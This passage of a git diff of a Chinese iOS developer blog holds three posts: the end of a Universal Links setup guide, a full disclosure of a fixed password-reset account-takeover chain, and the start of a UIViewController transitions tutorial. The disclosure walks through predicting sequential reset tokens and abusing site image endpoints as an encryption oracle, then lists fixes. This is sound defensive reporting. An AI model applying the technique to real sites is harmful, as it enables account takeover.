+#charset koi8-r;
+#access_log  logs/host.access.log  main;
+

大概在第 44 行的位置將 location / 裡的 root 換成你想要的目錄位置(這邊以 Documents 為例)。

listen on 8080 port ,如果沒有衝突則不需要修改。

儲存修改完後,下指令啟動 nginx:

1
+
nginx
+

若要停止時,則下:

1
+
nginx -s stop
+

停止。

如果有更改 nginx.conf 記得要下:

1
+
nginx -s reload
+

重新啟用服務。

建立一個 ./.well-known 目錄在剛設定的 root 目錄內,並將 apple-app-site-association 檔案放到 ./.well-known 內。

⚠️ .well-known 建立後若消失,請注意 Mac 要打開「顯示隱藏資料夾」功能:

在 terminal 下:

1
+
defaults write com.apple.finder AppleShowAllFiles TRUE
+

再下 killall finder 重啟所有 finder,即可。

⚠️ apple-app-site-association 看起來沒有副檔名,但實際還是有 .json 副檔名:

在檔案上按右鍵 -> 「取得資訊 Get Info」->「Name & Extension」-> 檢查有無副檔名&同時可取消勾選「隱藏檔案類型 Hide extension」

沒問題後,打開瀏覽器測試以下連結是否正常下載 apple-app-site-association:

1
+
http://localhost:8080/.well-known/apple-app-site-association
+

如果能正常下載代表本地環境模擬成功!

如果出現 404/403 錯誤則請檢查 root 目錄是否正確、目錄/檔案是否有放入、apple-app-site-association 是否不小心帶了副檔名( .json)。

註冊&下載 Ngrok

[ngrok.com](https://dashboard.ngrok.com/get-started/setup){:target="_blank"}

ngrok.com

解壓縮出 ngrok 執行檔

解壓縮出 ngrok 執行檔

進入 [Dashboard 頁面](https://dashboard.ngrok.com/get-started/setup){:target="_blank"} 執行 Config 設定

進入 Dashboard 頁面 執行 Config 設定

1
+
./ngrok authtoken 你的TOKEN
+

設定好之後,下:

1
+
./ngrok http 8080
+

因我們的 nginx 在 8080 port。

啟動服務。

這時候我們會看到一個服務啟動狀態視窗,可以從 Forwarding 中取的此次分配到的公開網址。

⚠️ 每次啟動分配到的網址都會變,所以僅能作為開發測試使用。

這邊以此次分配到的網址 https://ec87f78bec0f.ngrok.io/ 為例

回到瀏覽器改輸入 https://ec87f78bec0f.ngrok.io/.well-known/apple-app-site-association 看看能不能正常下載瀏覽 apple-app-site-association 檔案,如果沒問題則可繼續下一步。

將 ngrok 分配到的網址輸入到 Associated Domains applinks: 設定中。

記得帶上 ?mode=developer 方便我們測試。

重新 Build & Run APP:

打開瀏覽器輸入相應的 Universal Links 測試網址(EX: https://ec87f78bec0f.ngrok.io/buy/123 )查看效果。

頁面出現 404 不要理他,因為我們實際沒有那一頁;我們只是要測 iOS 對網址匹配的功能符不符合我們預期;如果上方有出現 「Open」代表匹配成功,另外也可以測 NOT 反向的狀況。

點擊「Open」後開啟 APP -> 測試成功!

開發階段都測試 OK 後,將確認修改過之後的 apple-app-site-association 檔案再交給後端上傳到伺服器就能確保萬無一失囉~

最後記得將 Associated Domains applinks: 改為正試機網址。

另外我們也可以從 ngrok 運行狀態視窗中看到每次 APP Build & Run 有沒有跟我們要 apple-app-site-association 檔案:

iOS < 13 之前:

設定檔較簡單,只有以下內容可設定:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
{
+  "applinks": {
+      "apps": [],
+      "details": [
+           {
+             "appID" : "TeamID.BundleID",
+             "paths": [
+               "NOT /help/",
+               "*"
+             ]
+           }
+       ]
+   }
+}
+

TeamID.BundleId 換成你的專案設定 (ex: TeamID = ABCD , BundleID = li.zhgchg.demoapp => ABCD.li.zhgchg.demoapp )。

如果有多個 appID 則要重複加入多組。

paths 部分則為匹配規則,能支援以下幾種語法:

  • * :匹配 0~多個字元,ex: /home/* (home/alan…)
  • ? :匹配 1 個字元,ex: 201? (2010~2019)
  • ?* :匹配 1 個~多個字元,ex: /?* (/test、/home. . )
  • NOT :反向排除,ex: NOT /help (any url but /help)

更多玩法組合可自己依照實際情況決定,更多資訊可參考 官方文件

- 請注意,他不是 Regex,不支援任何 Regex 寫法。

- 舊版不支援 Query (?name=123)、Anchor ( #title)。

- 中文網址須先轉成 ASCII 後才能放在 paths 中 (所有url 字元均要是 ASCII)。

iOS ≥ 13 之後:

強化了設定檔內容的功能,多增加支援 Query/Anchor、字符集、編碼處理。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
"applinks": {
+  "details": [
+    {
+      "appIDs": [ "TeamID.BundleID" ],
+      "components": [
+        {
+          "#": "no_universal_links",
+          "exclude": true,
+          "comment": "Matches any URL whose fragment equals no_universal_links and instructs the system not to open it as a universal link"
+        },
+        {
+          "/": "/buy/*",
+          "comment": "Matches any URL whose path starts with /buy/"
+        },
+        {
+          "/": "/help/website/*",
+          "exclude": true,
+          "comment": "Matches any URL whose path starts with /help/website/ and instructs the system not to open it as a universal link"
+        },
+        {
+          "/": "/help/*",
+          "?": { "articleNumber": "????" },
+          "comment": "Matches any URL whose path starts with /help/ and that has a query item with name 'articleNumber' and a value of exactly 4 characters"
+        }
+      ]
+    }
+  ]
+}
+

轉貼自官方文件,可以看到格式有所改變。

appIDs 為陣列,可放入多組 appID,這樣就不用像以前一樣只能整個區塊重複輸入。

WWDC 有提到與舊版兼容, 當 iOS ≥ 13 有讀到新的格式就會忽略舊的 paths

匹配規則改放在 components 中;支援 3 種類型:

  • / : URL
  • ? :Query,ex: ?name=123&place=tw
  • # :Anchor,ex: #title

並且可以搭配使用,假設今天 /user/?id=100#detail 才需要跳到 APP 則可寫成:

1
+2
+3
+4
+5
+
{
+  "/": "/user/*",
+  "?": { "id": "*" },
+  "#": "detail"
+}
+

其中匹配語法同原本語法,也是支援 * ? ?*

新增 comment 註解欄位,可輸入註解方便辨識。(但請注意這是公開的,別人也看得到)

反向排除則改為指定 exclude: true

新增 caseSensitive 指定功能,可指定匹配規則是否對大小寫敏感, 預設:true ,有這需求的話可以少寫許多規則。

新增 percentEncoded 前面說到的,舊版需要先將網址轉為 ASCII 放到 paths 中(如果是中文字會變得很醜無法辨識);這個參數就是是否要幫我們自動 encode, 預設是 true 。 假設是中文網址就能直接放入了(ex: /客服中心 )。

詳細官方文件可 參考此

預設字符集:

這算是這次更新蠻重要的功能之一,新增支援字符集。

系統幫我們定義好的字符集:

  • $(alpha) :A-Z 和 a-z
  • $(upper) :A-Z
  • $(lower) :a-z
  • $(alnum) :A-Z 和 a-z 和 0–9
  • $(digit) :0–9
  • $(xdigit) :十六進制字符,0–9 和 a,b,c,d,e,f,A,B,C,D,E,F
  • $(region) :ISO 地區編碼 isoRegionCodes ,Ex: TW
  • $(lang) :ISO 語言編碼 isoLanguageCodes ,Ex: zh

假設我們的網址有多語系,我想要支援 Universal links 時,可以這樣設定:

1
+2
+3
+
"components": [        
+     { "/" : "/$(lang)-$(region)/$(food)/home" }      
+]
+

這樣不管是 /zh-TW/home/en-US/home 都能支援,非常方便,不用自己寫一整排規則!

自訂字符集:

除了預設字符集之外,我們也能自訂字符集,增加設定檔復用、可讀性。

applinks 中加入 substitutionVariables 即可:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
{
+  "applinks": {
+    "substitutionVariables": {
+      "food": [ "burrito", "pizza", "sushi", "samosa" ]
+    },
+    "details": [{
+      "appIDs": [ ... ],
+      "components": [
+        { "/" : "/$(food)/" }
+      ]
+    }]
+  }
+}
+

範例中自訂了一個 food 字符集,並在後續 components 中使用。

以上範例可匹配 /burrito , /pizza , /sushi , /samosa

細節可參考 此篇 官方文件。

沒有靈感?

如果對設定檔內容沒有靈感,可偷偷參考其他網站福的內容,只要在服務網站首頁網址加上 /app-site-association/.well-known/app-site-association 即可讀取他們的設定。

例如: https://www.netflix.com/apple-app-site-association

補充

在有使用 SceneDelegate 的情況下,open universal link 的進入點是在SceneDelegate 中:

1
+
func scene(_ scene: UIScene, continue userActivity: NSUserActivity)
+

而非 AppDelegate 的:

1
+
func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool
+

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS 跨平台帳號密碼整合加強登入體驗

重灌筆記1-Laravel Homestead + phpMyAdmin 環境建置

diff --git a/posts/142244e5f07a/index.html b/posts/142244e5f07a/index.html new file mode 100644 index 000000000..8f55cfb61 --- /dev/null +++ b/posts/142244e5f07a/index.html @@ -0,0 +1,9 @@ + 揭露一個幾年前發現的巧妙網站漏洞 | ZhgChgLi
Home 揭露一個幾年前發現的巧妙網站漏洞
Post
Cancel

揭露一個幾年前發現的巧妙網站漏洞

揭露一個幾年前發現的巧妙網站漏洞

多個漏洞合併引起的網站資安問題

Photo by [Tarik Haiga](https://unsplash.com/@tar1k?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Tarik Haiga

前言

幾年前還有在邊支援網頁開發的時候;被指派任務要為公司內部工程組舉辦 CTF 競賽;一開始初想是依照公司產品分組互相攻防入侵,但身為主辦,為了想先瞭解掌握程度就先對公司旗下各產品進行入侵測試;看看我自己能找到幾個漏洞,確保活動流程不會出問題。

但最後因為比賽時間有限、工程區別差異太大;所以最後以工程共通基礎知識及有趣的方向出題,有興趣的朋友可參考我之前的文章「 如何打造一場有趣的工程CTF競賽 」;裡面有很多腦洞大開的題目!

找到的漏洞

一共在三個產品中找到四個漏洞,除了本文準備提及的問題之外還有以下三個常見網站漏洞被我發現:

  1. Never Trust The Client! 問題很入門,就是前端直接將 ID 送給後端,而且後端還直接認了;這邊應該要改成認 Token。
  2. 重設密碼設計缺陷 實際有點忘了,只記得是程式設計有缺陷;導致重設密碼步驟可以繞過信箱驗證。
  3. XSS 問題
  4. 本文將介紹的漏洞

查找方式一律以黑箱測試,其中只有發現 XSS 問題的產品是我有參與過程式開發,其他都沒有也沒看過程式碼。

漏洞現況

身為白帽駭客,所有找到的問題都已在第一時間回報工程團隊和修復了;目前也過了兩年,想想是時候可以公開了;但顧及前公司立場,本文不會提到是哪個產品出現此漏洞,大家就只要參考這個漏洞發現的歷程及原因就好!

漏洞後果

此漏洞可讓入侵者隨意變更目標使用者密碼,並使用新密碼登入目標使用者帳號,盜取個人資料、從事非法操作。

漏洞主因

如同標題所述,此漏洞是由多個原因組合觸發;包含以下因素:

  • 帳號登入未支援兩階段驗證、設備綁定
  • 重設密碼驗證使用流水號
  • 網站資料加密功能存在解密漏洞
  • 加解密功能濫用
  • 驗證令牌設計錯誤
  • 後端未二次驗證欄位正確性
  • 平台上使用者信箱為公開資訊

漏洞重現方式

因平台上使用者信箱為公開資訊,所以我們先在平台上瀏覽目標入侵帳號;知道信箱後前往重設密碼頁。

  • 首先先輸入自己的信箱進行重設密碼操作
  • 再輸入想入侵帳號的信箱,一樣進行重設密碼操作

以上兩個操作都會寄出重設密碼驗證信。

進到自己的信箱去收自己那一封重設密碼驗證信。

變更密碼連結為以下網址格式:

1
+
https://zhgchg.li/resetPassword.php?auth=PvrrbQWBGDQ3LeSBByd
+

PvrrbQWBGDQ3LeSBByd 就是此次重設密碼操作的驗證令牌。

但我在觀察網站上驗證碼圖片時發現驗證碼圖片的連結格式也是類似:

1
+
https://zhgchg.li/captchaImage.php?auth=6EqfSZLqDc
+

6EqfSZLqDc 顯示出 5136

那把我們的密碼重設 Token 塞進去會怎樣?管他的! 塞塞看!

Bingo!

但驗證碼圖片太小,無法得到完整的資訊。

我們繼續找可利用的點…

剛好網站為了防止爬蟲侵擾,會將用戶的公開個人資料信箱,用 圖片呈現 ,關鍵字: 圖片呈現!圖片呈現!圖片呈現!

立刻打開來看看:

個人資料頁

個人資料頁

網頁原始碼部分

網頁原始碼部分

我們也得到了類似的網址格式結果:

1
+
https://zhgchg.li/mailImage.php?mail=V3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVt
+

V3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVt 顯示出 zhgchgli@gmail.com

一樣管他的!塞爆!

Bingo!🥳🥳🥳

PvrrbQWBGDQ3LeSBByd = 2395656

反解出重設密碼令牌,發現是數字之後

我想了該不會是流水號吧。。。

於是再輸入一次信箱請求重設密碼,將新收到的信的 Token 解出來,得到 2395657 … what the fxck…還真的是

知道是流水後之後就好辦事了,所以一開始的操作才會是先請求自己帳號的重設密碼信,再請求要入侵的目標;因為已經可以預測到下一個請求密碼的 id 了。

再來只需要想辦法將 2395657 換回 Token 令牌即可!

好巧不巧又發現個問題

網站在編輯資料時的信箱格式驗證只有前端驗證,後端並未二次驗證格式是否正確…

繞過前端驗證後,將信箱改為下一位目標

Fire in the hole!

我們得到:

1
+
https://zhgchg.li/mailImage.php?mail=UTVRZwZuDjMNPLZhBGI
+

這時候將此密碼重設令牌,帶回密碼重設頁面:

入侵成功!繞過驗證重設他人密碼!

最後因為沒有二階段登入保護、設備綁定功能;所以密碼被覆蓋掉之後就能直接登入冒用了。

事出有因

重新梳理一下整件事的流程。

  • 一開始我們要重設密碼,但發現重設密碼的令牌實際上是一個流水號,而非真正的唯一識別 Token
  • 網站濫用加解密功能,沒有區分功能使用;全站幾乎都用同一組
  • 網站存在線上任意加解密入口(等於密鑰報廢)
  • 後端未二次驗證使用者輸入
  • 沒有二階段登入保護、設備綁定功能

修正方式

  • 最根本的是重設密碼的令牌應該要是隨機產生的唯一識別 Token
  • 網站加解密部分,應該區分功能使用不同密鑰
  • 避免外部可以任意操作資料加解密
  • 後端應該要驗證使用者輸入
  • 以防萬一,增加二階段登入保護、設備綁定功能

總結

整個漏洞發現之路令我驚訝,因為很多都是基本的設計問題;雖然功能上單看來說是可以運作,有小洞洞也還算安全;但多個破洞組合起來就會變成一個大洞,在開發上真的要小心謹慎為妙。

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事

Medium 自訂網域功能回歸

diff --git a/posts/14cee137c565/index.html b/posts/14cee137c565/index.html new file mode 100644 index 000000000..590fbcc75 --- /dev/null +++ b/posts/14cee137c565/index.html @@ -0,0 +1,1377 @@ + iOS UIViewController 轉場二三事 | ZhgChgLi
Home iOS UIViewController 轉場二三事
Post
Cancel

iOS UIViewController 轉場二三事

iOS UIViewController 轉場二三事

UIViewController 下拉關閉/上拉出現/全頁右滑返回 效果全解

前言

一直以來都很好奇諸如 Facebook、Line、Spotify…等等常用的 APP 是如何實作「Present 的 UIViewController 可下拉關閉」、「上拉漸入 UIViewController」、「全頁面支援手勢右滑返回」這些效果的。

因為這些效果內建都沒有,下拉關閉也直到 iOS ≥ 13 才有系統的卡片樣式支援。

探索之路

不知道是不會下關鍵字還是資料本身難找,一直找不到這類功能的實踐做法,找到的資料都很含糊零散,只能東拼西湊。

一開始自己研究做法時找到 UIPresentationController 這個 API ,沒再深掘其他資料,就用這個方法搭配 UIPanGestureRecognizer 用很土炮的方式完成下拉關閉的效果;一直都覺得哪裡怪怪的,感覺會有更好的方式。

直到最近接觸新專案拜讀 大大的文章 ,擴大眼界才發現有其他 API 更漂亮、更有彈性的做法可以用。

本篇一方面是自我紀錄,另一方面希望有幫助到跟我有一樣困惑的朋友。

內容有點多,嫌麻煩的可以直接拉到底看範例,或直接下載 Github 專案回來研究!

iOS 13 卡片樣式呈現頁面

首先講最新系統內建的效果 iOS ≥ 13 後 UIViewController.present(_:animated:completion:) 默認的 modalPresentationStyle 效果就是 UIModalPresentationAutomatic 片樣式呈現頁面,若想要保持之前的全頁面呈現就要特別指定回 UIModalPresentationFullScreen 即可。

內建行事曆新增效果

內建行事曆新增效果

如何取消下拉關閉?關閉確認?

更好的使用者體驗應該要能在觸發下拉關閉時檢查有無輸入資料,有的話需要提示使用者是否捨棄動作離開。

這部分蘋果也幫我們想好了,只需實作 UIAdaptivePresentationControllerDelegate 裡的方法即可。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+
import UIKit
+
+class DetailViewController: UIViewController {
+    private var onEdit:Bool = true;
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        //設置代理
+        self.presentationController?.delegate = self
+        //if uiviewcontroller embed in navigationController:
+        //self.navigationController?.presentationController?.delegate = self
+        
+        //取消下拉關閉方式(1):
+        self.isModalInPresentation = true;
+        
+    }
+    
+}
+
+//代理實作
+extension DetailViewController: UIAdaptivePresentationControllerDelegate {
+    //取消下拉關閉方式(2):
+    func presentationControllerShouldDismiss(_ presentationController: UIPresentationController) -> Bool {
+        return false;
+    }
+    
+    //下拉關閉取消時,下拉手勢觸發
+    func presentationControllerDidAttemptToDismiss(_ presentationController: UIPresentationController) {
+        if (onEdit) {
+          let alert = UIAlertController(title: "資料尚未存儲", message: nil, preferredStyle: .actionSheet)
+          alert.addAction(UIAlertAction(title: "捨棄離開", style: .default) { _ in
+              self.dismiss(animated: true)
+          })
+          alert.addAction(UIAlertAction(title: "繼續編輯", style: .cancel, handler: nil))
+          self.present(alert, animated: true)      
+        } else {
+          self.dismiss(animated: true, completion: nil)
+        }
+    }
+}
+

取消下拉關閉可指定 UIViewController 的變數 isModalInPresentation 為 false 或實作 UIAdaptivePresentationControllerDelegate presentationControllerShouldDismiss 並回傳 true 擇一都可。

UIAdaptivePresentationControllerDelegate presentationControllerDidAttemptToDismiss 這個方法只有在 下拉關閉取消時 才會呼叫使用。

By the way…

卡片樣式呈現頁面對系統來說就是 Sheet ,行為上跟 FullScreen 有所不同。

假設今天 RootViewControllerHomeViewController

在卡片樣式呈現下 (UIModalPresentationAutomatic) 則:

HomeViewController Present DetailViewController 時…

HomeViewController viewWillDisAppear / viewDidDisAppear 都不會觸發。

DetailViewController Dismiss 時…

HomeViewController viewWillAppear / viewDidAppear 都不會觸發。

⚠️ 因 XCODE 11 之後版本打包的 iOS ≥ 13 APP 預設 Present 都會使用卡片樣式 (UIModalPresentationAutomatic)

如果之前有把一些邏輯放在 viewWillAppear/viewWillDisappear/viewDidAppear/viewDidDisappear 的要多加檢查注意! ⚠️

看完系統內建的,來看本篇重頭戲吧!如何自幹這些效果?

哪裡可做轉場動畫?

首先先整理哪裡可以做視窗切換轉場動畫。

UITabBarController/UIViewController/UINavigationController

UITabBarController/UIViewController/UINavigationController

UITabBarController 切換時

我們可以在 UITabBarController 設定 delegate 然後實作 animationControllerForTransitionFrom 方法,就能在切換 UITabBarController 時對內容套用自訂轉場特效。

系統預設無動畫,上方展示圖的是淡入淡出切換特效。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
import UIKit
+
+class MainTabBarViewController: UITabBarController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        self.delegate = self
+        
+    }
+    
+}
+
+extension MainTabBarViewController: UITabBarControllerDelegate {
+    func tabBarController(_ tabBarController: UITabBarController, animationControllerForTransitionFrom fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        //return UIViewControllerAnimatedTransitioning
+    }
+}
+

UIViewController Present/Dismiss 時

理所當然,在 Present/Dismiss UIViewController 時可以指定要套用的動畫效果,不然就不會有此篇文章了XD;不過值得一提的是,如果只是單純要做 Present 動畫沒有要做手勢控制,可以直接使用 UIPresentationController 方便快速 (詳見文末參考資料)。

系統預設是上滑出現下滑消失!自己客製的話可以加入淡入、圓角、出現位置控制…等效果。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
import UIKit
+
+class HomeAddViewController: UIViewController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+
+        self.modalPresentationStyle = .custom
+        self.transitioningDelegate = self
+    }
+    
+}
+
+extension HomeAddViewController: UIViewControllerTransitioningDelegate {
+    
+    func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        //回傳 nil 即走預設動畫
+        return //UIViewControllerAnimatedTransitioning Present時要套用的動畫
+    }
+    
+    func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        //回傳 nil 即走預設動畫
+        return //UIViewControllerAnimatedTransitioning Dismiss時要套用的動畫
+    }
+}
+

任何 UIViewController 都能實作 transitioningDelegate 告知 Present/Dismiss 動畫; UITabBarViewControllerUINavigationControllerUITableViewController ….都可

UINavigationController Push/Pop 時

UINavigationController 大概是最不太需要會改動畫的,因為系統預設的左滑出現右滑返回動畫已經是最好的效果,能想得到要做這部分的客製可能可以用來做無縫 UIViewController 左右切換效果。

因為我們要做全頁都可手勢返回,需要配合自訂 POP 動畫,所以需要自己實作一個返回動畫效果。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
import UIKit
+
+class HomeNavigationController: UINavigationController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        self.delegate = self
+    }
+
+}
+
+extension HomeNavigationController: UINavigationControllerDelegate {
+    func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        
+        if operation == .pop {
+            return //UIViewControllerAnimatedTransitioning 返回時要套用的動畫
+        } else if operation == .push {
+            return //UIViewControllerAnimatedTransitioning push時要套用的動畫
+        }
+        
+        //回傳 nil 即走預設動畫
+        return nil
+    }
+}
+

交互非交互動畫?

再講動畫實作、手勢控制前,先講一下何謂交互與非交互。

交互動畫: 手勢觸發動畫,如 UIPanGestureRecognizer

非交互動畫: 系統呼叫動畫,如 self.present( )

怎麼實作動畫效果?

講完哪裡可以做,再來看怎麼做動畫效果。

我們需要實作 UIViewControllerAnimatedTransitioning 這個 Protocol 並在裡面對視窗做動畫。

一般轉場動畫: UIView.animate

直接使用 UIView.animate 做動畫處理,此時的 UIViewControllerAnimatedTransitioning 需要實作 transitionDuration 告知動畫時長、 animateTransition 實作動畫內容這兩個方法。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+
import UIKit
+
+class SlideFromLeftToRightTransition: NSObject, UIViewControllerAnimatedTransitioning {
+    
+    func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
+        return 0.4
+    }
+    
+    func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
+        
+        //可用參數:
+        //取得要展示的目標 UIViewController 的 View 內容:
+        let toView = transitionContext.view(forKey: .to)
+        //取得要展示的目標 UIViewController:
+        let toViewController = transitionContext.viewController(forKey: .to)
+        //取得要展示的目標 UIViewController 的 View 的初始化 Frame 資訊:
+        let toInitalFrame = transitionContext.initialFrame(for: toViewController!)
+        //取得要展示的目標 UIViewController 的 View 的最終 Frame 資訊:
+        let toFinalFrame = transitionContext.finalFrame(for: toViewController!)
+        
+        //取得當前 UIViewController 的 View 內容:
+        let fromView = transitionContext.view(forKey: .from)
+        //取得當前 UIViewController:
+        let fromViewController = transitionContext.viewController(forKey: .from)
+        //取得當前 UIViewController 的 View 的初始化 Frame 資訊:
+        let fromInitalFrame = transitionContext.initialFrame(for: fromViewController!)
+        //取得當前 UIViewController 的 View 的最終 Frame 資訊: (在關閉動畫時可以取得之前顯示動畫時的最終Frame)
+        let fromFinalFrame = transitionContext.finalFrame(for: fromViewController!)
+        
+        //toView.frame.origin.y = UIScreen.main.bounds.size.height
+        
+        UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveLinear], animations: {
+            //toView.frame.origin.y = 0
+        }) { (_) in
+            if (!transitionContext.transitionWasCancelled) {
+                //動畫沒中斷
+            }
+            
+            // 告知系統動畫完成
+            transitionContext.completeTransition(!transitionContext.transitionWasCancelled)
+        }
+        
+    }
+    
+}
+

To 跟 From:

假設今天 HomeViewControllerPresent/Push DetailViewController 時,

From = HomeViewController / To = DetailViewController

DetailViewControllerDismiss/Pop 時,

From = DetailViewController / To = HomeViewController

⚠️⚠️⚠️⚠️⚠️

官方建議從 transitionContext.view 拿 View 使用,而不是從 transitionContext.viewController 拿 .view 使用。

但這邊有個問題,就是在做 Present/Dismiss 動畫時當 modalPresentationStyle = .custom

Present 時使用 transitionContext.view(forKey: .from) 會是 nil

Dismiss 時使用 transitionContext.view(forKey: .to) 也會是 nil

還是需要從 viewController.view 拿值來用。

⚠️⚠️⚠️⚠️⚠️

transitionContext.completeTransition(!transitionContext.transitionWasCancelled) 動畫完成必須呼叫,否則 畫面會卡死

但因 UIView.animate 若無可執行動畫就不會 Call completion 造成前述方法未被呼叫;所以務必確保動畫是會執行的 (EX: y從100到0)。

ℹ️ℹ️ℹ️ℹ️ℹ️

參與動畫的 ToView/FromView ,若因 View 較為複雜或動畫時有些問題;可改用 snapshotView(afterScreenUpdates:) 截圖作為動畫展示,先截圖然後 transitionContext.containerView.addSubview(snapShotView) 上去圖層,接著隱藏原本的 ToView/FromView (isHidden = true) ,在動畫結束時在 snapShotView.removeFromSuperview() 和恢復顯示原本的 ToView/FromView (isHidden = true)

可中斷、繼續的轉場動畫: UIViewPropertyAnimator

另外也可以使用 iOS ≥ 10 新的動畫類別來實作動畫效果, 看個人習慣或是動畫要做到多細節來做選擇, 雖然官方的建議是有交互就使用 UIViewPropertyAnimator不管是交互非交互(手勢控制) 一般都使用 UIView.animate 即可UIViewPropertyAnimator 的轉場動畫能做到中斷繼續的效果,雖然我不知道實際能應用在哪,有興趣的朋友可參考 此篇文章

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
import UIKit
+
+class FadeInFadeOutTransition: NSObject, UIViewControllerAnimatedTransitioning {
+    
+    private var animatorForCurrentTransition: UIViewImplicitlyAnimating?
+
+    func interruptibleAnimator(using transitionContext: UIViewControllerContextTransitioning) -> UIViewImplicitlyAnimating {
+        
+        //當前有轉場動畫時直接返回
+        if let animatorForCurrentTransition = animatorForCurrentTransition {
+            return animatorForCurrentTransition
+        }
+        
+        //參數同前述
+        
+        //fromView.frame.origin.y = 100
+        
+        let animator = UIViewPropertyAnimator(duration: transitionDuration(using: transitionContext), curve: .linear)
+        
+        animator.addAnimations {
+            //fromView.frame.origin.y = 0
+        }
+        
+        animator.addCompletion { (position) in
+            transitionContext.completeTransition(!transitionContext.transitionWasCancelled)
+        }
+        
+        //抓著動畫
+        self.animatorForCurrentTransition = animator
+        return animator
+    }
+    
+    func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
+        return 0.4
+    }
+    
+    func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
+        //如果是非交互會走這,就讓它也走交互的動畫
+        let animator = self.interruptibleAnimator(using: transitionContext)
+        animator.startAnimation()
+    }
+    
+    func animationEnded(_ transitionCompleted: Bool) {
+        //動畫完成,清空
+        self.animatorForCurrentTransition = nil
+    }
+    
+}
+

交互情況下 (後面講控制會細提),會使用 interruptibleAnimator 方法的動畫;非交互的情況則還是使用 animateTransition 方法。

因為能繼續、中斷的特性;所以 interruptibleAnimator 是有可能會重複呼叫使用的;所以我們需要用一個全域變數做存取返回。

Murmur… 其實我本來是想全都改用新的 UIViewPropertyAnimator 也想推薦大家都用新的來做,但我遇到一個很奇怪的問題,就是在做全頁手勢返回 Pop 動畫時,若手勢放開,動畫歸位,上方的 Navigation Bar 的 Item 會淡入淡出閃一下…找不到解,但回去用 UIView.animate 就沒這問題;如果有地方沒注意到歡迎跟我說<( _ _ )>。

問題圖; + 按鈕是上一頁的

問題圖; + 按鈕是上一頁的

所以保險起見還是用舊的方式吧!

實際會依照不同的動畫效果建立個別的 Class,若覺得很檔案雜,可參考文末包好的方案;或是將同個連貫(Present+Dismii)動畫放在一起。

transitionCoordinator

另外如果需要更細緻的控制,例如 ViewController 裡面有某個元件需要配合轉場動畫改變;可在 UIViewController 中使用 transitionCoordinator 進行協作,這部分我沒用到;有興趣可參考 此篇文章

怎麼控制動畫?

這邊就是前述所說的「交互」,實際就是手勢控制;本篇最重要的章節,因為我們的要做的是手勢操作與轉場動畫的連動功能,才能達成我們要的下拉關閉、全頁返回功能。

控制代理設置:

同前面 ViewController 代理動畫設計,交互處理的類也需要在代理中告知 ViewController

UITabBarController: 無 UINavigationController (Push/Pop):

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+
import UIKit
+
+class HomeNavigationController: UINavigationController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        self.delegate = self
+    }
+
+}
+
+extension HomeNavigationController: UINavigationControllerDelegate {
+    func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        
+        if operation == .pop {
+            return //UIViewControllerAnimatedTransitioning 返回時要套用的動畫
+        } else if operation == .push {
+            return //UIViewControllerAnimatedTransitioning push時要套用的動畫
+        }
+        //回傳 nil 即走預設動畫
+        return nil
+    }
+    
+    //新增交互代理方法:
